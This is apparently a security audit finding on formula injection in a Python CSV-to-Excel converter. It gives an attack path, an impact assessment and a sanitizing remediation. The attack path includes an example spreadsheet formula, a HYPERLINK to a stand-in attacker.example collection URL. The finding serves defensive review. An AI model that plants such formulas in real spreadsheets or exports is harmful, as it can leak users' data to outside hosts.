T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/csv_to_excel.py:155
- Finding
- Untrusted CSV Values Can Be Written as Executable Spreadsheet Formulas## Vulnerability Details **File Location**: `scripts/csv_to_excel.py:155-157` **Vulnerability Type**: CSV formula injection **Risk Level**: Medium **Vulnerable Code**: ```python # Write data to worksheet for row_data in rows: ws.append(row_data) ``` ### Technical Analysis The converter appends every untrusted CSV field directly to an `openpyxl` worksheet without validating or neutralizing formula syntax. In particular, a string beginning with `=` may be stored as an Excel formula rather than inert text. Consequently, an attacker who controls the source CSV can place spreadsheet formulas in the generated workbook. Depending on the spreadsheet application and its security configuration, a malicious formula may trigger external resource requests, disclose workbook or environment-derived information through attacker-controlled URLs, present deceptive content, or invoke legacy spreadsheet functionality. The vulnerability is caused by crossing the CSV-to-spreadsheet trust boundary without distinguishing user data from executable spreadsheet expressions. ### Attack Path 1. An attacker creates or modifies a CSV field so that it begins with a formula marker, such as `=HYPERLINK("https://attacker.example/collect","Open report")`. 2. A user runs the converter against the attacker-controlled CSV. 3. `read_csv_with_encoding()` returns the payload as a string. 4. `ws.append(row_data)` writes it to the workbook without sanitization. 5. The generated XLSX file is opened in Excel or another compatible spreadsheet application. 6. The spreadsheet interprets the field as a formula. Subsequent execution or user interaction may initiate an attacker-controlled request or other formula-supported behavior. ### Impact Assessment Exploitation does not grant the converter elevated operating-system privileges by itself. Its scope is the generated workbook and the privileges available to the spreadsheet applicatio ...[truncated 342 chars]
- Remediation
- ## Remediation Suggestions Treat imported CSV fields as untrusted text by default: 1. Detect values beginning with formula-triggering characters, especially `=`, and also defensively handle `+`, `-`, `@`, tab, carriage return, and leading whitespace followed by one of these characters. 2. Neutralize such values by prefixing an apostrophe or explicitly creating cells with the string data type. 3. Add an opt-in flag for trusted formulas if formula preservation is a required feature; keep it disabled by default. 4. Apply sanitization to every field, not only the first column or header. 5. Add regression tests covering direct formula markers, leading whitespace, tabs, carriage returns, hyperlinks, and external-reference formulas. 6. Document that sanitization prevents CSV content from being treated as executable spreadsheet expressions. Example defensive approach: ```python def sanitize_spreadsheet_value(value): if not isinstance(value, str): return value normalized = value.lstrip(" \t\r\n") if normalized.startswith(("=", "+", "-", "@")): return "'" + value return value for row_data in rows: ws.append([sanitize_spreadsheet_value(value) for value in row_data]) ```
